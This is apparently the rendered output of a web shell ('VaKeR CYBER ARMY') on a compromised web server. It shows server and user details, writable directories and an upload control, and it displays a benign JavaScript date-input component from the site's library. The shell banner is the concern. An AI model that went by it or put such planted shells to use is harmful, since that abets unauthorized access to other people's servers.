VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol-acomp__js__DateNLevelInput.js
/*** module: node_modules/absol-acomp/js/DateNLevelInput.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

var _ACore = _interopRequireWildcard(require("../ACore"));

var _datetime = require("absol/src/Time/datetime");

var _QuickMenu = _interopRequireDefault(require("./QuickMenu"));

var _OOP = require("absol/src/HTML5/OOP");




/**
 * @extends {AElement}
 * @constructor
 */
function DateNLevelInput() {
  this.$level = (0, _ACore.$)('.as-date-n-level-input-select-level', this);
  /**
   *
   * @type {DateInput}
   */

  this.$date = (0, _ACore.$)('dateinput', this);
  this.ctrl = new DateNLevelInputCtrl(this);
  this._allowLevels = this.defaultAllowLevels.slice();
  (0, _OOP.drillProperty)(this, this.$date, 'min');
  (0, _OOP.drillProperty)(this, this.$date, 'max');
  /**
   * @name level
   * @type {"date"| "week" | "month" | "quarter" | "year"}
   * @memberOf DateNLevelInput#
   * */

  /**
   * @name allowLevels
   * @type {Array<"date"| "week" | "month" | "quarter" | "year">}
   * @memberOf DateNLevelInput#
   * */

  /**
   * @name value
   * @type {Date}
   * @memberOf DateNLevelInput#
   * */

  /**
   * @readonly
   * @name format
   * @type {string}
   * @memberOf DateNLevelInput#
   * */
}

DateNLevelInput.tag = 'DateNLevelInput'.toLowerCase();
DateNLevelInput.prototype.leve2format = {
  date: 'dd/MM/yyyy',
  week: 'Tuần ww, yyyy',
  month: 'MM/yyyy',
  quarter: 'Quý QQ, yyyy',
  year: 'yyyy'
};
DateNLevelInput.prototype.leve2Name = {
  date: 'Ngày',
  week: 'Tuần',
  month: 'Tháng',
  quarter: 'Quý',
  year: 'Năm'
};
DateNLevelInput.prototype.defaultAllowLevels = ['date', 'month', 'year'];

DateNLevelInput.render = function () {
  return (0, _ACore._)({
    class: 'as-date-n-level-input',
    extendEvent: ['change'],
    child: [{
      tag: 'dateinput',
      props: {
        format: 'dd/MM/yyyy'
      }
    }, {
      tag: 'button',
      class: ['as-transparent-button', 'as-date-n-level-input-select-level'],
      child: 'span.mdi.mdi-cog'
    }]
  });
};

DateNLevelInput.property = {};
DateNLevelInput.property.allowLevels = {
  set: function (value) {
    if (typeof value === "string") {
      value = value.split(/\s*,\s*/);
    }

    if (!(value instanceof Array)) {
      value = this.defaultAllowLevels.slice();
    }

    value = value.filter(x => !!this.leve2format[x]);
    if (!value || value.length === 0) value = this.defaultAllowLevels.slice();
    var prevLevel = this.level;
    this._allowLevels = value;
    var newLevel = this.level;

    if (prevLevel !== newLevel) {
      this.level = newLevel; //update
    }
  },
  get: function () {
    return this._allowLevels.slice();
  }
};
DateNLevelInput.property.level = {
  set: function (value) {
    if (!this.leve2format[value]) value = 'date';
    this.attr('data-level', value);
    this.$date.format = this.leve2format[value];
    this.ctrl.prevVal = this.$date.value;
    this.ctrl.level = value;
  },
  get: function () {
    var level = this.ctrl.level;
    if (this._allowLevels.indexOf(level) < 0) level = this._allowLevels[0];
    return level;
  }
};
DateNLevelInput.property.format = {
  get: function () {
    return this.$date.format;
  }
};
DateNLevelInput.property.value = {
  set: function (value) {
    this.$date.value = value;
    this.ctrl.prevVal = this.$date.value;
  },
  get: function () {
    return this.$date.value;
  }
};
DateNLevelInput.property.readOnly = {
  set: function (value) {
    this.$date.readOnly = value;

    if (value) {
      this.addClass('as-read-only');
    } else {
      this.removeClass('as-read-only');
    }
  },
  get: function () {
    return this.$date.readOnly;
  }
};
DateNLevelInput.property.disabled = {
  set: function (value) {
    this.$date.disabled = value;
    this.$level.disabled = value;

    if (value) {
      this.addClass('as-disabled');
    } else {
      this.removeClass('as-disabled');
    }
  },
  get: function () {
    return this.$date.disabled;
  }
};

function DateNLevelInputCtrl(elt) {
  this.elt = elt;
  this.prevVal = this.elt.value;
  this.elt.$date.on('change', this.ev_dateChange.bind(this));
  this.level = 'date';

  _QuickMenu.default.toggleWhenClick(this.elt.$level, {
    getMenuProps: () => {
      var props = {};
      props.items = this.elt._allowLevels.map(name => {
        return {
          text: `${this.elt.leve2Name[name]} (${this.elt.leve2format[name]})`,
          level: name,
          icon: name === this.level ? 'span.mdi.mdi-check' : null
        };
      });
      return props;
    },
    onSelect: item => {
      if (this.level !== item.level) {
        this.level = item.level;
        this.ev_levelChange();
      }
    }
  });
}

DateNLevelInputCtrl.prototype.ev_dateChange = function (event) {
  this.notifyCanBeChanged();
};

DateNLevelInputCtrl.prototype.ev_levelChange = function (event) {
  var value = this.level;
  this.elt.attr('data-level', value);
  this.elt.$date.format = this.elt.leve2format[value];
  this.elt.$date.value = null;
  this.notifyCanBeChanged();
};

DateNLevelInputCtrl.prototype.notifyCanBeChanged = function (force) {
  var value = this.elt.$date.value;

  if (force || !value !== !this.prevVal || value && (0, _datetime.compareDate)(value, this.prevVal) !== 0) {
    this.elt.emit('change', Object.assign({}, {
      value: value,
      prevValue: this.prevVal,
      target: this.elt
    }), this.elt);
    this.prevVal = value;
  }
};

var _default = DateNLevelInput;
exports.default = _default;

_ACore.default.install(DateNLevelInput);

VaKeR 2022